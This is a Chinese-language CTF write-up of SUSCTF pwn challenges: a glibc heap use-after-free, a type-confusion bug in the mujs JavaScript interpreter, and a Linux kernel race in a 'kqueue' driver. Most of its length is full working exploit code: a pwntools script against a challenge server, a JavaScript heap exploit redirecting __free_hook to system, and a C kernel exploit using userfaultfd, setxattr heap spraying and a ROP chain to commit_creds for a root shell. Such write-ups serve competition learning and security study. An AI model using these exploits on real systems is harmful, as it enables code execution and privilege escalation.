Loading... 这场 SUSCTF 的 pwn 题难度并不算高,我们做到凌晨一点多终于 ak 了 pwn。其中我做了 rain 这题,**@xi4oyu** 和学弟 **@h4kuy4** 一起解了 happytree 这题,然后我和 **@xi4oyu** 一起做了 mujs 和 kqueue。rain 是一个普通的堆题,比较简单,mujs 是一个 js 解释器 pwn,以前没接触过,小语想出了类型混淆的方法,我借此 debug 调偏移最后成功 getshell。kqueue 被非预期打穿了,我们在比赛期间完全没想通能有什么非预期,就参考了 **L-team @arttnba3** 师傅的[这篇文章](https://arttnba3.cn/2021/03/03/NOTE-0X03-LINUX-KERNEL-PWN-PART-II/#setxattr-userfaultfd-%E5%A0%86%E5%8D%A0%E4%BD%8D%E6%8A%80%E6%9C%AF)使用 “setxattr + userfaultfd 堆占位”的方法完成了利用。总的来说,学到了新东西,蛮好。这里总结一下解法。 ### rain 首先两个结构体猜了一下: ```cpp struct CONFIG { int height; int width; unsigned __int8 front_color; unsigned __int8 back_color; char **buf1; int **buf2; int rainfall; int speed; void *print_info_func; char *alphabet_table; char *custom_table; }; ``` ```cpp struct config_frame { char height[4]; char width[4]; char front_color; char back_color; char rainfall[4]; char fill[4]; char custom_table_buf[]; }; ```  v7 为 0 的时候就是 custom_table 被 free 了,即 realloc 的 size 为 0 时,但是没有置零指针,所以可以 UAF。 执行 rainfall 后,config 结构体会被重新初始化,所以可以获得走 `__libc_malloc` 的 realloc 机会 所以多次 double free leak 出 libc,然后通过 rainfall 多次取出 tcache bins,修改 next,打 `__realloc_hook` 和 `__malloc_hook` one_gadget getshell exp: ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] #sh = process("./rain") libc = ELF("./libc.so.6") sh = remote("124.71.185.75", 9999) def config(frame): sh.sendlineafter("ch> ", '1') sh.sendafter("FRAME> ", frame) def print_info(): sh.sendlineafter("ch> ", '2') def rain(): sh.sendlineafter("ch> ", '3') frame = p32(0x0) + p32(0x0) + '\x02' + '\x01' + p32(0x0) + p32(0) frame = frame.ljust(18 + 0x188, '\xAA') config(frame) frame = p32(0x0) + p32(0x0) + '\x02' + '\x01' + p32(0x0) + p32(0) config(frame) config(frame) config(frame) config(frame) config(frame) config(frame) config(frame) config(frame) print_info() sh.recvuntil("Table:") sh.recv(12) libc_addr = u64(sh.recv(6).ljust(8, '\x00')) libc_base = libc_addr - libc.sym["__malloc_hook"] - 0x10 - 0x60 __free_hook = libc_base + libc.sym["__free_hook"] __realloc_hook = libc_base + libc.sym["__realloc_hook"] __malloc_hook = libc_base + libc.sym["__malloc_hook"] malloc = libc_base + libc.sym["__libc_malloc"] system = libc_base + libc.sym["system"] realloc = libc_base + libc.sym["__libc_realloc"] log.success("libc_base: " + hex(libc_base)) frame = p32(0x50) + p32(0x50) + '\x02' + '\x01' + p32(0x0) + p32(0) frame += p64(libc_addr) * 2 frame = frame.ljust(18 + 0x180, '\xAA') frame += p64(0x190) config(frame) frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0) frame += p64(__realloc_hook) frame = frame.ljust(18 + 0x58, '\xAA') config(frame) rain() frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0) #frame += p64(system) frame = frame.ljust(18 + 0x180, '\xAA') frame += p64(0x190) config(frame) rain() one_gadget = libc_base + 0x10a45c frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0) frame += p64(one_gadget) + p64(realloc + 10) frame = frame.ljust(18 + 0x180, '\x00') frame += p64(0x190) #gdb.attach(sh) config(frame) sh.interactive() ``` ### mujs hash 是 commit hash,clone 下来 diff 就行 分析 diff 发现添加了一个 DataView 类,审计代码发现 setUint8 方法中存在越界,可以 off 9 字节(这里盗用小语的图)  另外,Array 类在 setLength 时,length 增长时没有检测,由此考虑通过溢出修改下一个 DataView 对象的 type 字段为 Array 的 type 实现类型混淆,通过 array 的 setLength 修改 length 字段,然后再修改回 DataView 实现较大范围的 oob。通过 oob leak 出 libc 地址,修改一个 DataView 的 data 指针指向 `__free_hook`,劫持为 `system`,最后,通过字符串拼接获得一个存有 `'/bin/sh'` 的 chunk,重复赋值即可 getshell。 之后利用的主要难度在于代码的更改会影响到堆的布局,只能说耐心 debug 吧。 exp: ```javascript function test1() { dvFill0 = new DataView(0xFF8); dvFill1 = new DataView(0x58); dvFill2 = new DataView(0x58); dvFill3 = new DataView(0x58); dvFill4 = new DataView(0x58); dvFill5 = new DataView(0x58); dvFill6 = new DataView(0x58); dvFill7 = new DataView(0x58); dvFill8 = new DataView(0x108); dvFill9 = new DataView(0x1D8); var dvArr = [] for (var i = 0; i < 0x51; i++) { dvArr[i] = new DataView(0x18); } var dv1 = new DataView(0x18); dv1.setUint32(0, 0xDEADBEEF); dv1.setUint32(4, 0x13372333); var dv2 = new DataView(0x18); var dv3 = new DataView(0x18); dv3.setUint32(0, 0xDEADBEEF); dv1.setUint8(0x18 + 8, 1); dv2.length = 0x7FFFFFFF; dv1.setUint8(0x18 + 8, 0x10); dv4 = new DataView(0x430); dv4 = new DataView(0x18); dv4.getUint8(); var libc_low32 = dv2.getUint32(0x640, true) - 2014176; var libc_high32 = dv2.getUint32(0x644, true); var libc_base = libc_high32 * 0x100000000 + libc_low32; print(libc_base); dv2.setUint32(0x48, libc_low32 + 2026280); dv2.setUint32(0x4C, libc_high32); dv3.setUint32(0, libc_low32 + 349200); dv3.setUint32(0x4, libc_high32); var s1 = new String("/bin"); var s2 = new String("/sh"); s = s1 + s2; s = new String("/bin/sh"); } test1(); //var dv3 = new DataView(0x10); ``` ### kqueue & kqueue's revenge 两个环境用同样的 exp 打通了。 Linux kernel pwn,使用 slub 分配器,没开启 harden 和 freelist randomize。 push copy 有没有成功都已经把节点加进去了  pop 的时候锁没加对地方  这里的利用手法我们主要参考了[这篇文章](https://arttnba3.cn/2021/03/03/NOTE-0X03-LINUX-KERNEL-PWN-PART-II/#%E4%BE%8B%E9%A2%98%EF%BC%9ASECCON-2020-kstack) 我简单总结一下这个方法,利用时,通过 setxattr 可以用 kvmalloc 申请任意大小的空间,像其中通过 copy_from_user 写入数据,然后会被 kvfree 掉。为了不让该 slab 被 free 掉,在跨页拷贝时可以做到向申请回来的 chunk 中写入(一部分)数据,然后在 copy 到下一页时,我们通过注册 userfaultfd 卡住该页的拷贝,就可以避免 kvfree 的执行。这样就实现了在用户态 kmalloc 并写入数据的效果。 那么我们只需要构造 double free 和 leak 即可。 double free 的办法 ``` head tail | | node1 -> node2 pop1 copy 时 userfaultfd 线程里 pop2 ``` 对于 pt_regs,断在 gadget 上 ``` (gdb) x/20xg 0xffffc90000167f58 0xffffc90000167f58: 0x00000000beefdead 0x0000000011111111 0xffffc90000167f68: 0x0000000022222222 0x0000000033333333 0xffffc90000167f78: 0x0000000044444444 0x0000000055555555 0xffffc90000167f88: 0x0000000000000246 0x0000000077777777 0xffffc90000167f98: 0x0000000088888888 0x0000000099999999 0xffffc90000167fa8: 0xffffffffffffffda 0x000000000040209c 0xffffc90000167fb8: 0x0000000000000008 0x00007f7fbd637130 0xffffc90000167fc8: 0x000000000000006b 0x0000000000000000 0xffffc90000167fd8: 0x000000000040209c 0x0000000000000033 0xffffc90000167fe8: 0x0000000000000246 0x00007f7fbd637130 (gdb) p/x $rsp $2 = 0xffffc90000167de0 ``` 计算得 offset: 0x178 刚开始ROPgadget和ropper工具都没找到合适的 gadget,最后小语通过 `objdump -d` vim 打开,眼拔+搜索之后发现一个可用的 gadget 可以滑倒 pt_regs 上。 另外一个比较重要的点在于需要把进程绑定到一个 CPU 上,也就是 exp 中的这段代码 ```cpp // 绑定到一个cpu上 unsigned char cpu_mask = 0x01; sched_setaffinity(0, 1, &cpu_mask); ``` 我们在调试时发现 double free 后,申请 seq_operation 和 setxattr 的 kvmalloc 时都无法申请到 double free 的 chunk,猜测是 `kmem_cache` 中的 `struct kmem_cache_cpu __percpu *cpu_slab;` 字段,也就是 cpu cache 造成的,所以把进程绑定到了一个 cpu 上,就成功分配了。 leak 使用了 `shm_file_data` 结构体。由于 push 和 pop 操作的锁是分离的,所以 push 时通过 userfaultfd 卡住 copy_from_user 的操作,此时 push 进的 node 里面还是脏数据,在 userfaultfd handler 中 pop 即可读出脏数据,由此完成 leak。 exp 照抄的 **@arttnba3** 大师傅的 exp,改了些偏移之类的。 ```cpp // x86_64-buildroot-linux-uclibc-cc -masm=intel -static -pthread -o exp exp.c #include <sys/types.h> #include <sys/xattr.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <sys/ipc.h> #include <sys/shm.h> #include <semaphore.h> #define KERNCALL __attribute__((regparm(3))) size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp; void get_userstat(); size_t commit_creds; size_t prepare_kernel_cred; void * kernel_base = 0xffffffff81000000; size_t kernel_offset = 0; static pthread_t monitor_thread; int dev_fd; size_t seq_fd; size_t seq_fd_reserve[0x100]; static char *page = NULL; static size_t page_size; void errExit(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); exit(EXIT_FAILURE); } void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*)) { long uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; /* Create and enable userfaultfd object */ uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) errExit("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd); if (s != 0) errExit("pthread_create"); } void push(char *data) { if (ioctl(dev_fd, 0x1314001, data) < 0) errExit("push!"); } void pop(char *data) { if (ioctl(dev_fd, 0x1314002, data) < 0) errExit("pop!"); } static void * leak_thread(void *arg) { struct uffd_msg msg; int fault_cnt = 0; long uffd; struct uffdio_copy uffdio_copy; ssize_t nread; uffd = (long) arg; for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) errExit("EOF on userfaultfd!\n"); if (nread == -1) errExit("read"); if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n"); puts("[*] push trapped in userfaultfd."); pop(&kernel_offset); printf("[*] leak ptr: %p\n", kernel_offset); kernel_offset -= 0xffffffff81a32c00; kernel_base += kernel_offset; uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); return NULL; } } static void * double_free_thread(void *arg) { struct uffd_msg msg; int fault_cnt = 0; long uffd; struct uffdio_copy uffdio_copy; ssize_t nread; uffd = (long) arg; for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) errExit("EOF on userfaultfd!\n"); if (nread == -1) errExit("read"); if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n"); puts("[*] pop trapped in userfaultfd."); puts("[*] construct the double free..."); pop(page); uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); return NULL; } } size_t init_cred = 0xffffffff81a2a6e0; size_t pop_rdi_ret = 0xffffffff8115305c; size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81400d2e; void get_root_shell() { puts("[*] get root shell..."); system("/bin/sh"); } size_t mov_cr4_ret; size_t pop_rax_4other_ret; size_t init_cred; size_t get_root_shell_addr; void get_root_and_ret() { while (1) { /* code */ } } size_t get_root_and_ret_addr; static void * hijack_thread(void *arg) { struct uffd_msg msg; int fault_cnt = 0; long uffd; struct uffdio_copy uffdio_copy; ssize_t nread; uffd = (long) arg; for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) errExit("EOF on userfaultfd!\n"); if (nread == -1) errExit("read"); if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n"); puts("[*] setxattr trapped in userfaultfd."); puts("[*] trigger now..."); for (int i = 0; i < 100; i++) close(seq_fd_reserve[i]); // trigger init_cred += kernel_offset; pop_rdi_ret += kernel_offset; mov_cr4_ret = 0xffffffff8101d910 + kernel_offset; pop_rax_4other_ret = 0xffffffff81032761 + kernel_offset; // mov_rdi_rax_pop_rbp_ret += kernel_offset; prepare_kernel_cred = 0xffffffff81055cb0 + kernel_offset; commit_creds = 0xffffffff81055ae0 + kernel_offset; swapgs_restore_regs_and_return_to_usermode = kernel_offset + 0xFFFFFFFF81400AAA; init_cred = 0xffffffff81a2a6e0 + kernel_offset; get_root_and_ret_addr = &get_root_and_ret; get_root_shell_addr = &get_root_shell; printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode); __asm__( "mov r15, 0xbeefdead;" "mov r14, pop_rdi_ret;" "mov r13, init_cred;" "mov r12, commit_creds;" "mov rbp, swapgs_restore_regs_and_return_to_usermode;" "mov rbx, get_root_shell_addr;" "mov r11, user_cs;" "mov r10, user_rflags;" "mov r9, user_rsp;" "mov r8, user_ss;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" ); puts("[+] back to userland successfully!"); printf("[+] uid: %d gid: %d\n", getuid(), getgid()); puts("[*] execve root shell now..."); system("/bin/sh"); uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); return NULL; } } int main(int argc, char const* argv[]) { size_t data[0x10]; char *uffd_buf_leak; char *uffd_buf_uaf; char *uffd_buf_hack; int pipe_fd[2]; int shm_id; char *shm_addr; signal(SIGSEGV, get_root_shell); // 绑定到一个cpu上 unsigned char cpu_mask = 0x01; sched_setaffinity(0, 1, &cpu_mask); get_userstat(); dev_fd = open("/dev/kqueue", O_RDONLY); if (dev_fd < 0) errExit("open dev"); page = malloc(0x1000); page_size = sysconf(_SC_PAGE_SIZE); for (int i = 0; i < 100; i++) if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0) errExit("seq reserve!"); uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); registerUserFaultFd(uffd_buf_leak, page_size, leak_thread); shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT); if (shm_id < 0) errExit("shmget!"); shm_addr = shmat(shm_id, NULL, 0); if (shm_addr < 0) errExit("shmat!"); if(shmdt(shm_addr) < 0) errExit("shmdt!"); // leak kernel base push(uffd_buf_leak); printf("[+] kernel offset: %p\n", kernel_offset); printf("[+] kernel base: %p\n", kernel_base); // create uffd thread for double free uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); registerUserFaultFd(uffd_buf_uaf, page_size, double_free_thread); // construct the double free push("arttnba3"); pop(uffd_buf_uaf); // create uffd thread for hijack uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); registerUserFaultFd(uffd_buf_hack + page_size, page_size, hijack_thread); printf("[*] gadget: %p\n", 0xffffffff81a6f327 + kernel_offset); *(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff810494c5 + kernel_offset; // add rsp,0x160, pop 4, ret // // userfaultfd + setxattr to hijack the seq_ops->stat, trigger in uffd thread seq_fd = open("/proc/self/stat", O_RDONLY); setxattr("/exp", "arttnba3", uffd_buf_hack + page_size - 8, 32, 0); return 0; } void get_userstat() { __asm__(".intel_syntax noprefix\n"); __asm__ volatile( "mov user_cs, cs;\ mov user_ss, ss;\ mov user_gs, gs;\ mov user_ds, ds;\ mov user_es, es;\ mov user_rsp, rsp;\ pushf;\ pop user_rflags"); // printf("[+] got user stat\n"); } ``` 最后修改:2022 年 03 月 11 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧